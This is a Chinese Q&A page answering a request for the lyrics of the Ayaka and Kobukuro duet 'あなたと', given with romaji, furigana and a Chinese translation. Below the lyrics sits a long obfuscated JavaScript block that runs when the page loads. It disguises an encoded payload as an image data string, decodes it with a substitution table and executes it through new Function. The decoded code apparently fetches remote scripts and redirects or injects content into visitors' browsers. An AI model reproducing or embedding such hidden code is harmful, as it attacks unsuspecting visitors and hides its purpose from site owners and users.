谁有绚香和可苦可乐的あなたと罗马歌词?

2025-03-03 10:32:17
推荐回答(1个)
回答1:

日语+罗马音:

あなたと - 绚香×コブクロ

作词:绚香・小渕健太郎・黒田俊介 作曲:绚香・小渕健太郎・黒田俊介

コブクロ:
さっきまで 泣いてた 君が 今隣で笑ってる
sakkimade nai teta kimi ga ima tonari de waratte ru
少し先に待ってたこの未来に たどり着けて良かった
sukoshi sakini matte takono mirai ni tadori tsuke te yoka tta

绚香:
“君を伤つけたくない” この言叶に逃げていた
" kimi wo kizutsu ketakunai " kono kotoba ni nige teita
本当は谁より 自分が一番 伤つくのが怖くて
hontou wa dare yori jibun ga ichiban kizutsu kunoga kowaku te

コブクロ、绚香:
今夜 孤独と自由を羽にして あなたにあいにゆく
konya kodoku to jiyuu wo hane nishite anataniainiyuku
壊れそうな 心 の止まり木は あなたと架けた愿い
koware souna kokoro no domari ki wa anatato kake ta negai

コブクロ:
出会った あの日の 梦を见た 手もつなげないまま 二人
deatta ano hi no yume wo mita te motsunagenaimama futari
笑い声が ただ时をつないだ 未来なんて まだ 见えなかった
warai koe ga tada toki wotsunaida mirai nante mada mie nakatta

绚香:
目が覚めて 君 想えば 手のひらに こぼれ落ちた
me ga same te kimi omoe ba teno hirani kobore ochi ta
あの日のぬくもり そっと握り返して 溢れた 涙に目を闭じた
ano hi nonukumori sotto nigiri kaeshi te afure ta namida ni me wo toji ta

コブクロ、绚香:
どんな 些细な痛みも分け合って あなたと 歩けたら
donna sasai na itami mo wake atte anatato aruke tara
途切れそうな 心も 抱きしめて あなたの そばにいたい
togire souna kokoro mo daki shimete anatano sobaniitai

コブクロ、绚香:
どんな 孤独も自由も羽にして あなたに あいにゆく
donna kodoku mo jiyuu mo hane nishite anatani ainiyuku
壊れそうな 心の 隣には あなたと 描く未来
koware souna kokoro no tonari niwa anatato egaku mirai
どんな 些细な痛みも分け合って あなたと 歩けたら
donna sasai na itami mo wake atte anatato aruke tara
途切れそうな 心も 抱きしめて あなたの そばにいたい
togire souna kokoro mo daki shimete anatano sobaniitai
明日も そばにいたい
ashita mo sobaniitai

日语+假名:

あなたと

作诗:绚香・小渕健太郎・黒田俊介
作曲:绚香・小渕健太郎・黒田俊介
歌:绚香・コブクロ

さっきまで 泣(な)いてた 君(きみ)が 今(いま)隣(となり)で笑(わら)ってる
少(すこ)し先(さき)に待(ま)ってたこの未来(みらい)に たどり着(つ)けて良(よ)かった

“君(きみ)を伤(きず)つけたくない” この言叶(ことば)に逃(に)げていた
本当(ほんとう)は谁(だれ)より 自分(じぶん)が一番(いちばん) 伤(きず)つくのが怖(こわ)くて

今(いま)夜(よる) 孤独(こどく)と自由(じゆう)を羽(はね)にして あなたにあいにゆく
壊(こわ)れそうな 心(こころ) の止(と)まり木(き)は あなたと架(か)けた愿(ねが)い

出会(であ)った あの日(ひ)の 梦(ゆめ)を见(み)た 手(て)もつなげないまま 二人(ふたり)
笑(わら)い声(ごえ)が ただ时(じ)をつないだ 未来(みらい)なんて まだ 见(み)えなかった

目(め)が覚(さ)めて 君(きみ) 想(おも)えば 手(て)のひらに こぼれ落(お)ちた
あの日(ひ)のぬくもり そっと握(にぎ)り返(かえ)して 溢(あふ)れた 涙(なみだ)に目(め)を闭(と)じた

どんな 些细(ささい)な痛(いた)みも分(わ)け合(あ)って あなたと 歩(ある)けたら
途切(とぎ)れそうな 心(こころ)も 抱(だ)きしめて あなたの そばにいたい

どんな 孤独(こどく)も自由(じゆう)も羽(はね)にして あなたに あいにゆく
壊(こわ)れそうな 心(こころ)の 隣(となり)には あなたと 描(えが)く未来(みらい)
どんな 些细(ささい)な痛(いた)みも分(わ)け合(あ)って あなたと 歩(ある)けたら
途切(とぎ)れそうな 心(こころ)も 抱(だ)きしめて あなたの そばにいたい
明日(あした)も そばにいたい

日语+翻译:

あなたと - 绚香×コブクロ

作诗、作曲:绚香.小渕健太郎.黒田俊介

コブクロ:
さっきまで 泣いてた 君が 今隣で笑ってる
刚刚还在哭的你 现在坐在身边笑著
少し先に待ってたこの未来に たどり着けて良かった
能够与你一同到达 这个之前还尚在等待的未来 真是太好了

绚香:
“君を伤つけたくない” この言叶に逃げていた
以不想伤害你这句话而逃避的我
本当は谁より 自分が一番 伤つくのが怖くて
其实是因为自己比起任何人 都还害怕受伤害

コブクロ、绚香:
今夜 孤独と自由を羽にして あなたにあいにゆく
今晚 就以孤独与自由作为羽翼 为了与你相遇而出发
壊れそうな 心 の止まり木は あなたと架けた愿い
那貌似崩坏的心的栖木 是过去与你一同架构的愿望

コブクロ:
出会った あの日の 梦を见た 手もつなげないまま 二人
之前相会那天的我梦见 连手也未能牵在一起的两人
笑い声が ただ时をつないだ 未来なんて まだ 见えなかった
就连笑声也只在那与时间联系的未来才能听到

绚香:
目が覚めて 君 想えば 手のひらに こぼれ落ちた
从梦中醒来 若是想起你那天的轻柔握手的温度
あの日のぬくもり そっと握り返して 溢れた 涙に目を闭じた
满溢的泪水一闭上眼就不住滴落手掌

コブクロ、绚香:
どんな 些细な痛みも分け合って あなたと 歩けたら
不论是多麼些微的苦痛也能与你分担 一起走下去的话
途切れそうな 心も 抱きしめて あなたの そばにいたい
怀抱就似要停止跳动似的心 想在你的身旁

どんな 孤独も自由も羽にして あなたに あいにゆく
就以孤独与自由为羽翼 为了与你相遇而出发
壊れそうな 心の 隣には あなたと 描く未来
那貌似崩坏的心的周围也有将与你一同描绘的未来
どんな 些细な痛みも分け合って あなたと 歩けたら
不论是多麼些微的苦痛也能与你分担 一起走下去的话
途切れそうな 心も 抱きしめて あなたの そばにいたい
怀抱就似要停止跳动的心 想在你的身旁
明日も そばにいたい
明天也希望能与你一起

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();